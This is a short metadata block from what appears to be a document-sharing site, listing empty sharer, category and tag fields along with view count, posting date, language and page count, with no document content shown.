DOCUMENT INFO
Shared By:
Categories:
Tags:
Stats:
views:43
posted:8/21/2012
language:English
pages:30